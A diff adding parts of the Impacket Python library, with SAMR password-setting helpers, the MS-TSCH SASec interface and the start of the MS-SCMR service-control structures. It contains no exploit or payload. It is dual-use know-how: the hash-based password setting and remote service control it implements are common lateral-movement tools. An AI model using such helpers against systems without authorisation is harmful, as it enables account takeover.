+    rc4 = ARC4.new(oldPwdHashNT)
+    encBuf = rc4.encrypt(pwdBuff)
+    request['NewPasswordEncryptedWithOldNt']['Buffer'] = encBuf
+    request['OldNtOwfPasswordEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+    request['LmPresent'] = 0
+    request['NewPasswordEncryptedWithOldLm'] = NULL
+    request['OldLmOwfPasswordEncryptedWithNewNt'] = NULL
+
+    return dce.request(request)
+
+def hSamrLookupDomainInSamServer(dce, serverHandle, name):
+    request = SamrLookupDomainInSamServer()
+    request['ServerHandle'] = serverHandle
+    request['Name'] = name
+    return dce.request(request)
+
+def hSamrSetSecurityObject(dce, objectHandle, securityInformation, securityDescriptor):
+    request = SamrSetSecurityObject()
+    request['ObjectHandle'] =  objectHandle
+    request['SecurityInformation'] =  securityInformation
+    request['SecurityDescriptor'] = securityDescriptor
+    return dce.request(request)
+
+def hSamrQuerySecurityObject(dce, objectHandle, securityInformation):
+    request = SamrQuerySecurityObject()
+    request['ObjectHandle'] =  objectHandle
+    request['SecurityInformation'] =  securityInformation
+    return dce.request(request)
+
+def hSamrCloseHandle(dce, samHandle):
+    request = SamrCloseHandle()
+    request['SamHandle'] =  samHandle
+    return dce.request(request)
+
+def hSamrSetMemberAttributesOfGroup(dce, groupHandle, memberId, attributes):
+    request = SamrSetMemberAttributesOfGroup()
+    request['GroupHandle'] =  groupHandle
+    request['MemberId'] =  memberId
+    request['Attributes'] =  attributes
+    return dce.request(request)
+
+def hSamrGetUserDomainPasswordInformation(dce, userHandle):
+    request = SamrGetUserDomainPasswordInformation()
+    request['UserHandle'] =  userHandle
+    return dce.request(request)
+
+def hSamrGetDomainPasswordInformation(dce):
+    request = SamrGetDomainPasswordInformation()
+    request['Unused'] =  NULL
+    return dce.request(request)
+
+def hSamrRidToSid(dce, objectHandle, rid):
+    request = SamrRidToSid()
+    request['ObjectHandle'] = objectHandle
+    request['Rid'] =  rid
+    return dce.request(request)
+
+def hSamrValidatePassword(dce, inputArg):
+    request = SamrValidatePassword()
+    request['ValidationType'] =  inputArg['tag']
+    request['InputArg'] = inputArg
+    return dce.request(request)
+
+def hSamrLookupNamesInDomain(dce, domainHandle, names):
+    request = SamrLookupNamesInDomain()
+    request['DomainHandle'] =  domainHandle
+    request['Count'] = len(names)
+    for name in names:
+        entry = RPC_UNICODE_STRING()
+        entry['Data'] = name
+        request['Names'].append(entry)
+
+    request.fields['Names'].fields['MaximumCount'] = 1000
+
+    return dce.request(request)
+
+def hSamrLookupIdsInDomain(dce, domainHandle, ids):
+    request = SamrLookupIdsInDomain()
+    request['DomainHandle'] =  domainHandle
+    request['Count'] = len(ids)
+    for dId in ids:
+        entry = ULONG()
+        entry['Data'] = dId
+        request['RelativeIds'].append(entry)
+
+    request.fields['RelativeIds'].fields['MaximumCount'] = 1000
+
+    return dce.request(request)
+
+def hSamrSetPasswordInternal4New(dce, userHandle, password):
+    request = SamrSetInformationUser2()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal4InformationNew
+    request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal4InformationNew
+    request['Buffer']['Internal4New']['I1']['WhichFields'] = 0x01000000 | 0x08000000
+
+    request['Buffer']['Internal4New']['I1']['UserName'] = NULL
+    request['Buffer']['Internal4New']['I1']['FullName'] = NULL
+    request['Buffer']['Internal4New']['I1']['HomeDirectory'] = NULL
+    request['Buffer']['Internal4New']['I1']['HomeDirectoryDrive'] = NULL
+    request['Buffer']['Internal4New']['I1']['ScriptPath'] = NULL
+    request['Buffer']['Internal4New']['I1']['ProfilePath'] = NULL
+    request['Buffer']['Internal4New']['I1']['AdminComment'] = NULL
+    request['Buffer']['Internal4New']['I1']['WorkStations'] = NULL
+    request['Buffer']['Internal4New']['I1']['UserComment'] = NULL
+    request['Buffer']['Internal4New']['I1']['Parameters'] = NULL
+    request['Buffer']['Internal4New']['I1']['LmOwfPassword']['Buffer'] = NULL
+    request['Buffer']['Internal4New']['I1']['NtOwfPassword']['Buffer'] = NULL
+    request['Buffer']['Internal4New']['I1']['PrivateData'] = NULL
+    request['Buffer']['Internal4New']['I1']['SecurityDescriptor']['SecurityDescriptor'] = NULL
+    request['Buffer']['Internal4New']['I1']['LogonHours']['LogonHours'] = NULL
+    request['Buffer']['Internal4New']['I1']['PasswordExpired'] = 1
+
+    #crypto
+    pwdbuff = password.encode("utf-16le")
+    bufflen = len(pwdbuff)
+    pwdbuff = pwdbuff.rjust(512, b'\0')
+    pwdbuff += struct.pack('<I', bufflen)
+    salt = os.urandom(16)
+    session_key = dce.get_rpc_transport().get_smb_connection().getSessionKey()
+    keymd = md5()
+    keymd.update(salt)
+    keymd.update(session_key)
+    key = keymd.digest()
+
+    cipher = ARC4.new(key)
+    buffercrypt = cipher.encrypt(pwdbuff) + salt
+
+    request['Buffer']['Internal4New']['UserPassword']['Buffer'] = buffercrypt
+    return dce.request(request)
+
+def hSamrSetNTInternal1(dce, userHandle, password, hashNT=''):
+    request = SamrSetInformationUser()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = USER_INFORMATION_CLASS.UserInternal1Information
+    request['Buffer']['tag'] = USER_INFORMATION_CLASS.UserInternal1Information
+
+    from impacket import crypto, ntlm
+
+    if hashNT == '':
+        hashNT = ntlm.NTOWFv1(password)
+    else:
+        # Let's convert the hashes to binary form, if not yet
+        try:
+            hashNT = unhexlify(hashNT)
+        except:
+            pass
+
+    session_key = dce.get_rpc_transport().get_smb_connection().getSessionKey()
+
+    request['Buffer']['Internal1']['EncryptedNtOwfPassword'] = crypto.SamEncryptNTLMHash(hashNT, session_key)
+    request['Buffer']['Internal1']['EncryptedLmOwfPassword'] = NULL
+    request['Buffer']['Internal1']['NtPasswordPresent'] = 1
+    request['Buffer']['Internal1']['LmPasswordPresent'] = 0
+
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/sasec.py b/impacket/dcerpc/v5/sasec.py
new file mode 100644
index 0000000..e6ebd9f
--- /dev/null
+++ b/impacket/dcerpc/v5/sasec.py
@@ -0,0 +1,178 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TSCH] SASec Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL
+from impacket import hresult_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_SASEC  = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+SASEC_HANDLE = WSTR
+PSASEC_HANDLE = LPWSTR
+
+MAX_BUFFER_SIZE = 273
+
+# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
+TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000
+
+################################################################################
+# STRUCTURES
+################################################################################
+class WORD_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
+class SASetAccountInformation(NDRCALL):
+    opnum = 0
+    structure = (
+        ('Handle', PSASEC_HANDLE),
+        ('pwszJobName', WSTR),
+        ('pwszAccount', WSTR),
+        ('pwszPassword', LPWSTR),
+        ('dwJobFlags', DWORD),
+    )
+
+class SASetAccountInformationResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.3.5 SASetNSAccountInformation (Opnum 1)
+class SASetNSAccountInformation(NDRCALL):
+    opnum = 1
+    structure = (
+        ('Handle', PSASEC_HANDLE),
+        ('pwszAccount', LPWSTR),
+        ('pwszPassword', LPWSTR),
+    )
+
+class SASetNSAccountInformationResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.3.6 SAGetNSAccountInformation (Opnum 2)
+class SAGetNSAccountInformation(NDRCALL):
+    opnum = 2
+    structure = (
+        ('Handle', PSASEC_HANDLE),
+        ('ccBufferSize', DWORD),
+        ('wszBuffer', WORD_ARRAY),
+    )
+
+class SAGetNSAccountInformationResponse(NDRCALL):
+    structure = (
+        ('wszBuffer',WORD_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.3.7 SAGetAccountInformation (Opnum 3)
+class SAGetAccountInformation(NDRCALL):
+    opnum = 3
+    structure = (
+        ('Handle', PSASEC_HANDLE),
+        ('pwszJobName', WSTR),
+        ('ccBufferSize', DWORD),
+        ('wszBuffer', WORD_ARRAY),
+    )
+
+class SAGetAccountInformationResponse(NDRCALL):
+    structure = (
+        ('wszBuffer',WORD_ARRAY),
+        ('ErrorCode',ULONG),
+    )
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (SASetAccountInformation, SASetAccountInformationResponse),
+ 1 : (SASetNSAccountInformation, SASetNSAccountInformationResponse),
+ 2 : (SAGetNSAccountInformation, SAGetNSAccountInformationResponse),
+ 3 : (SAGetAccountInformation, SAGetAccountInformationResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
+    request = SASetAccountInformation()
+    request['Handle'] = handle
+    request['pwszJobName'] = checkNullString(pwszJobName)
+    request['pwszAccount'] = checkNullString(pwszAccount)
+    request['pwszPassword'] = checkNullString(pwszPassword)
+    request['dwJobFlags'] = dwJobFlags
+    return dce.request(request)
+
+def hSASetNSAccountInformation(dce, handle, pwszAccount, pwszPassword):
+    request = SASetNSAccountInformation()
+    request['Handle'] = handle
+    request['pwszAccount'] = checkNullString(pwszAccount)
+    request['pwszPassword'] = checkNullString(pwszPassword)
+    return dce.request(request)
+
+def hSAGetNSAccountInformation(dce, handle, ccBufferSize = MAX_BUFFER_SIZE):
+    request = SAGetNSAccountInformation()
+    request['Handle'] = handle
+    request['ccBufferSize'] = ccBufferSize
+    for _ in range(ccBufferSize):
+        request['wszBuffer'].append(0)
+    return dce.request(request)
+
+def hSAGetAccountInformation(dce, handle, pwszJobName, ccBufferSize = MAX_BUFFER_SIZE):
+    request = SAGetAccountInformation()
+    request['Handle'] = handle
+    request['pwszJobName'] = checkNullString(pwszJobName)
+    request['ccBufferSize'] = ccBufferSize
+    for _ in range(ccBufferSize):
+        request['wszBuffer'].append(0)
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py
new file mode 100644
index 0000000..5c97898
--- /dev/null
+++ b/impacket/dcerpc/v5/scmr.py
@@ -0,0 +1,1401 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SCMR] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from impacket import system_errors
+from impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, ULONG, BOOL, LPBYTE, ULONGLONG, PGUID, USHORT, LPDWORD, WSTR, \
+    GUID, PBOOL, WIDESTR
+from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRPOINTER, NDRPOINTERNULL, NDRUniConformantArray, NDRUNION
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'SCMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'SCMR SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+# Access codes
+SERVICE_ALL_ACCESS            = 0X000F01FF
+SERVICE_CHANGE_CONFIG         = 0X00000002
+SERVICE_ENUMERATE_DEPENDENTS  = 0X00000008
+SERVICE_INTERROGATE           = 0X00000080
+SERVICE_PAUSE_CONTINUE        = 0X00000040
+SERVICE_QUERY_CONFIG          = 0X00000001
+SERVICE_QUERY_STATUS          = 0X00000004
+SERVICE_START                 = 0X00000010
+SERVICE_STOP                  = 0X00000020
+SERVICE_USER_DEFINED_CTRL     = 0X00000100
+SERVICE_SET_STATUS            = 0X00008000
+
+# Specific Access for SCM
+SC_MANAGER_LOCK               = 0x00000008
+SC_MANAGER_CREATE_SERVICE     = 0x00000002
+SC_MANAGER_ENUMERATE_SERVICE  = 0x00000004
+SC_MANAGER_CONNECT            = 0x00000001
+SC_MANAGER_QUERY_LOCK_STATUS  = 0x00000010
+SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00000020
+
+# Service Types
+SERVICE_KERNEL_DRIVER         = 0x00000001
+SERVICE_FILE_SYSTEM_DRIVER    = 0x00000002
+SERVICE_WIN32_OWN_PROCESS     = 0x00000010
+SERVICE_WIN32_SHARE_PROCESS   = 0x00000020
+SERVICE_INTERACTIVE_PROCESS   = 0x00000100
+SERVICE_NO_CHANGE             = 0xffffffff
+
+# Start Types
+SERVICE_BOOT_START            = 0x00000000
+SERVICE_SYSTEM_START          = 0x00000001
+SERVICE_AUTO_START            = 0x00000002
+SERVICE_DEMAND_START          = 0x00000003
+SERVICE_DISABLED              = 0x00000004
+SERVICE_NO_CHANGE             = 0xffffffff
+
+# Error Control 
+SERVICE_ERROR_IGNORE          = 0x00000000
+SERVICE_ERROR_NORMAL          = 0x00000001
+SERVICE_ERROR_SEVERE          = 0x00000002
+SERVICE_ERROR_CRITICAL        = 0x00000003
+SERVICE_NO_CHANGE             = 0xffffffff
+
+# Service Control Codes
+SERVICE_CONTROL_CONTINUE      = 0x00000003
+SERVICE_CONTROL_INTERROGATE   = 0x00000004
+SERVICE_CONTROL_PARAMCHANGE   = 0x00000006
+SERVICE_CONTROL_PAUSE         = 0x00000002
+SERVICE_CONTROL_STOP          = 0x00000001
+SERVICE_CONTROL_NETBINDADD    = 0x00000007
+SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
+SERVICE_CONTROL_NETBINDENABLE = 0x00000009
+SERVICE_CONTROL_NETBINDDISABLE= 0x0000000A
+
+# Service State
+SERVICE_ACTIVE                = 0x00000001
+SERVICE_INACTIVE              = 0x00000002
+SERVICE_STATE_ALL             = 0x00000003
+
+# Current State
+SERVICE_CONTINUE_PENDING      = 0x00000005
+SERVICE_PAUSE_PENDING         = 0x00000006
+SERVICE_PAUSED                = 0x00000007
+SERVICE_RUNNING               = 0x00000004
+SERVICE_START_PENDING         = 0x00000002
+SERVICE_STOP_PENDING          = 0x00000003
+SERVICE_STOPPED               = 0x00000001
+
+# Controls Accepted
+SERVICE_ACCEPT_PARAMCHANGE           = 0x00000008
+SERVICE_ACCEPT_PAUSE_CONTINUE        = 0x00000002
+SERVICE_ACCEPT_SHUTDOWN              = 0x00000004
+SERVICE_ACCEPT_STOP                  = 0x00000001
+SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
+SERVICE_ACCEPT_POWEREVENT            = 0x00000040
+SERVICE_ACCEPT_SESSIONCHANGE         = 0x00000080
+SERVICE_ACCEPT_PRESHUTDOWN           = 0x00000100
+SERVICE_ACCEPT_TIMECHANGE            = 0x00000200
+ERVICE_ACCEPT_TRIGGEREVENT           = 0x00000400
+
+# Security Information
+DACL_SECURITY_INFORMATION     = 0x4
+GROUP_SECURITY_INFORMATION    = 0x2
+OWNER_SECURITY_INFORMATION    = 0x1
+SACL_SECURITY_INFORMATION     = 0x8
+
+# Service Config2 Info Levels
+SERVICE_CONFIG_DESCRIPTION              = 0x00000001
+SERVICE_CONFIG_FAILURE_ACTIONS          = 0x00000002
+SERVICE_CONFIG_DELAYED_AUTO_START_INFO  = 0x00000003
+SERVICE_CONFIG_FAILURE_ACTIONS_FLAG     = 0x00000004
+SERVICE_CONFIG_SERVICE_SID_INFO         = 0x00000005
+SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 0x00000006
+SERVICE_CONFIG_PRESHUTDOWN_INFO         = 0x00000007
+SERVICE_CONFIG_PREFERRED_NODE           = 0x00000009
+SERVICE_CONFIG_RUNLEVEL_INFO            = 0x0000000A
+
+# SC_ACTIONS Types
+SC_ACTION_NONE        = 0
+SC_ACTION_RESTART     = 1
+SC_ACTION_REBOOT      = 2
+SC_ACTION_RUN_COMMAND = 3
+
+# SERVICE_SID_INFO types
+SERVICE_SID_TYPE_NONE         = 0x00000000
+SERVICE_SID_TYPE_RESTRICTED   = 0x00000003
+SERVICE_SID_TYPE_UNRESTRICTED = 0x00000001
+
+# SC_STATUS_TYPE types
+SC_STATUS_PROCESS_INFO = 0
+
+# Notify Mask
+SERVICE_NOTIFY_CREATED          = 0x00000080
+SERVICE_NOTIFY_CONTINUE_PENDING = 0x00000010
+SERVICE_NOTIFY_DELETE_PENDING   = 0x00000200
+SERVICE_NOTIFY_DELETED          = 0x00000100
+SERVICE_NOTIFY_PAUSE_PENDING    = 0x00000020
+SERVICE_NOTIFY_PAUSED           = 0x00000040
+SERVICE_NOTIFY_RUNNING          = 0x00000008
+SERVICE_NOTIFY_START_PENDING    = 0x00000002
+SERVICE_NOTIFY_STOP_PENDING     = 0x00000004
+SERVICE_NOTIFY_STOPPED          = 0x00000001
+
+# SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW Reasons
+SERVICE_STOP_CUSTOM    =  0x20000000
+SERVICE_STOP_PLANNED   =  0x40000000
+SERVICE_STOP_UNPLANNED =  0x10000000
+
+# SERVICE_TRIGGER triggers
+SERVICE_TRIGGER_TYPE_DEVICE_INTERFACE_ARRIVAL  = 0x00000001
+SERVICE_TRIGGER_TYPE_IP_ADDRESS_AVAILABILITY   = 0x00000002
+SERVICE_TRIGGER_TYPE_DOMAIN_JOIN               = 0x00000003
+SERVICE_TRIGGER_TYPE_FIREWALL_PORT_EVENT       = 0x00000004
+SERVICE_TRIGGER_TYPE_GROUP_POLICY              = 0x00000005
+SERVICE_TRIGGER_TYPE_CUSTOM                    = 0x00000020
+
+# SERVICE_TRIGGER actions
+SERVICE_TRIGGER_ACTION_SERVICE_START = 0x00000001
+SERVICE_TRIGGER_ACTION_SERVICE_STOP  = 0x00000002
+
+# SERVICE_TRIGGER subTypes
+DOMAIN_JOIN_GUID                                = '1ce20aba-9851-4421-9430-1ddeb766e809' 
+DOMAIN_LEAVE_GUID                               = 'ddaf516e-58c2-4866-9574-c3b615d42ea1'
+FIREWALL_PORT_OPEN_GUID                         = 'b7569e07-8421-4ee0-ad10-86915afdad09'
+FIREWALL_PORT_CLOSE_GUID                        = 'a144ed38-8e12-4de4-9d96-e64740b1a524'
+MACHINE_POLICY_PRESENT_GUID                     = '659FCAE6-5BDB-4DA9-B1FF-CA2A178D46E0'
+NETWORK_MANAGER_FIRST_IP_ADDRESS_ARRIVAL_GUID   = '4f27f2de-14e2-430b-a549-7cd48cbc8245'
+NETWORK_MANAGER_LAST_IP_ADDRESS_REMOVAL_GUID    = 'cc4ba62a-162e-4648-847a-b6bdf993e335'
+USER_POLICY_PRESENT_GUID                        = '54FB46C8-F089-464C-B1FD-59D1B62C3B50'
+
+# SERVICE_TRIGGER_SPECIFIC_DATA_ITEM dataTypes
+SERVICE_TRIGGER_DATA_TYPE_BINARY = 0x00000001
+SERVICE_TRIGGER_DATA_TYPE_STRING = 0x00000002
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class SC_RPC_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=""'),
+    )
+    def getAlignment(self):
+        return 1
+
+SC_NOTIFY_RPC_HANDLE = SC_RPC_HANDLE
+
+class SERVICE_STATUS(NDRSTRUCT):
+    structure =  (
+        ('dwServiceType',DWORD),
+        ('dwCurrentState',DWORD),
+        ('dwControlsAccepted',DWORD),
+        ('dwWin32ExitCode',DWORD),
+        ('dwServiceSpecificExitCode',DWORD),
+        ('dwCheckPoint',DWORD),
+        ('dwWaitHint',DWORD),
+    )
+
+class QUERY_SERVICE_CONFIGW(NDRSTRUCT):
+    structure = (
+        ('dwServiceType',DWORD),
+        ('dwStartType',DWORD),
+        ('dwErrorControl',DWORD),
+        ('lpBinaryPathName', LPWSTR),
+        ('lpLoadOrderGroup',LPWSTR),
+        ('dwTagId',DWORD),
+        ('lpDependencies',LPWSTR),
+        ('lpServiceStartName',LPWSTR),
+        ('lpDisplayName',LPWSTR),
+    )
+
+class SC_RPC_LOCK(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=""'),
+    )
+    def getAlignment(self):
+        return 1
+
+class LPSERVICE_STATUS(NDRPOINTER):
+    referent = (
+        ('Data',SERVICE_STATUS),
+    )
+
+SECURITY_INFORMATION = ULONG
+
+BOUNDED_DWORD_256K = DWORD
+
+class LPBOUNDED_DWORD_256K(NDRPOINTER):
+    referent = (
+        ('Data', BOUNDED_DWORD_256K),
+    )
+
+SVCCTL_HANDLEW = LPWSTR
+
+class ENUM_SERVICE_STATUSW(NDRSTRUCT):
+    structure = (
+        ('lpServiceName',LPWSTR),
+        ('lpDisplayName',LPWSTR),
+        ('ServiceStatus',SERVICE_STATUS),
+    )
+
+class LPQUERY_SERVICE_CONFIGW(NDRPOINTER):
+    referent = (
+        ('Data', QUERY_SERVICE_CONFIGW),
+    )
+
+BOUNDED_DWORD_8K = DWORD
+BOUNDED_DWORD_4K = DWORD
+
+class STRING_PTRSW(NDRSTRUCT):
+    structure = (
+        ('Data',NDRUniConformantArray),
+    )
+    def __init__(self, data = None, isNDR64 = False):
+        NDR.__init__(self,None,isNDR64)
+        self.fields['Data'].item = LPWSTR
+        if data is not None:
+            self.fromString(data)
+
+class UNIQUE_STRING_PTRSW(NDRPOINTER):
+    referent = (
+        ('Data', STRING_PTRSW),
+    )
+
+class QUERY_SERVICE_LOCK_STATUSW(NDRSTRUCT):
+    structure = (
+        ('fIsLocked',DWORD),
+        ('lpLockOwner',LPWSTR),
+        ('dwLockDuration',DWORD),
+    )
+
+class SERVICE_DESCRIPTION_WOW64(NDRSTRUCT):
+    structure = (
+        ('dwDescriptionOffset', DWORD),
+    )
+
+class SERVICE_DESCRIPTIONW(NDRSTRUCT):
+    structure = (
+        ('lpDescription', LPWSTR),
+    )
+
+class LPSERVICE_DESCRIPTIONW(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_DESCRIPTIONW),
+    )
+
+class SERVICE_FAILURE_ACTIONS_WOW64(NDRSTRUCT):
+    structure = (
+        ('dwResetPeriod', DWORD),
+        ('dwRebootMsgOffset', DWORD),
+        ('dwCommandOffset', DWORD),
+        ('cActions', DWORD),
+        ('dwsaActionsOffset', DWORD),
+    )
+
+class SC_ACTION(NDRSTRUCT):
+    structure = (
+        ('Type', DWORD), 
+        ('Delay', DWORD) , 
+    )
+
+class SC_ACTIONS(NDRSTRUCT):
+    structure = (
+       ('Data', NDRUniConformantArray),
+    )
+    def __init__(self, data = None, isNDR64 = False):
+        NDR.__init__(self,None,isNDR64)
+        self.fields['Data'].item = SC_ACTION
+        if data is not None:
+            self.fromString(data)
+
+class SERVICE_FAILURE_ACTIONSW(NDRSTRUCT):
+    structure = (
+        ('dwResetPeriod', DWORD), 
+        ('lpRebootMsg', LPWSTR) , 
+        ('lpCommand', LPWSTR) , 
+        ('cActions', DWORD) , 
+        ('lpsaActions', SC_ACTIONS) , 
+    )
+
+class LPSERVICE_FAILURE_ACTIONSW(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_FAILURE_ACTIONSW),
+    )
+
+class SERVICE_FAILURE_ACTIONS_FLAG(NDRSTRUCT):
+    structure = (
+        ('fFailureActionsOnNonCrashFailures', BOOL),
+    )
+
+class LPSERVICE_FAILURE_ACTIONS_FLAG(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_FAILURE_ACTIONS_FLAG),
+    )
+
+class SERVICE_DELAYED_AUTO_START_INFO(NDRSTRUCT):
+    structure = (
+        ('fDelayedAutostart', BOOL),
+    )
+
+class LPSERVICE_DELAYED_AUTO_START_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_DELAYED_AUTO_START_INFO),
+    )
+
+class SERVICE_SID_INFO(NDRSTRUCT):
+    structure = (
+        ('dwServiceSidType', DWORD),
+    )
+
+class LPSERVICE_SID_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_SID_INFO),
+    )
+
+
+class SERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRSTRUCT):
+    structure = (
+        ('cbRequiredPrivileges',DWORD),
+        ('pRequiredPrivileges',LPBYTE),
+    )
+    def getData(self, soFar = 0):
+        self['cbRequiredPrivileges'] = len(self['pRequiredPrivileges'])
+        return NDR.getData(self, soFar = 0)
+
+
+class LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_RPC_REQUIRED_PRIVILEGES_INFO),
+    )
+
+class SERVICE_REQUIRED_PRIVILEGES_INFO_WOW64(NDRSTRUCT):
+    structure = (
+        ('dwRequiredPrivilegesOffset', DWORD),
+    )
+
+class SERVICE_PRESHUTDOWN_INFO(NDRSTRUCT):
+    structure = (
+        ('dwPreshutdownTimeout', DWORD),
+    )
+
+class LPSERVICE_PRESHUTDOWN_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_PRESHUTDOWN_INFO),
+    )
+
+class SERVICE_STATUS_PROCESS(NDRSTRUCT):
+    structure = (
+        ('dwServiceType', DWORD),
+        ('dwCurrentState', DWORD),
+        ('dwControlsAccepted', DWORD),
+        ('dwWin32ExitCode', DWORD),
+        ('dwServiceSpecificExitCode', DWORD),
+        ('dwCheckPoint', DWORD),
+        ('dwWaitHint', DWORD),
+        ('dwProcessId', DWORD),
+        ('dwServiceFlags', DWORD),
+    )
+
+class UCHAR_16(NDRSTRUCT):
+    structure = (
+        ('Data', '16s=""'),
+    )
+    def getAlignment(self):
+        return 1
+
+class SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRSTRUCT):
+    structure = (
+        ('ullThreadId',ULONGLONG),
+        ('dwNotifyMask',DWORD),
+        ('CallbackAddressArray',UCHAR_16),
+        ('CallbackParamAddressArray',UCHAR_16),
+        ('ServiceStatus', SERVICE_STATUS_PROCESS),
+        ('dwNotificationStatus',DWORD),
+        ('dwSequence',DWORD),
+    )
+
+class SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRSTRUCT):
+    structure = (
+        ('ullThreadId',ULONGLONG),
+        ('dwNotifyMask',DWORD),
+        ('CallbackAddressArray',UCHAR_16),
+        ('CallbackParamAddressArray',UCHAR_16),
+        ('ServiceStatus',SERVICE_STATUS_PROCESS),
+        ('dwNotificationStatus',DWORD),
+        ('dwSequence',DWORD),
+        ('dwNotificationTriggered',DWORD),
+        ('pszServiceNames',LPWSTR),
+    )
+
+class PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
+    )
+
+class PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
+    )
+
+class SC_RPC_NOTIFY_PARAMS(NDRUNION):
+    union = {
+        1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
+        2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
+    }
+
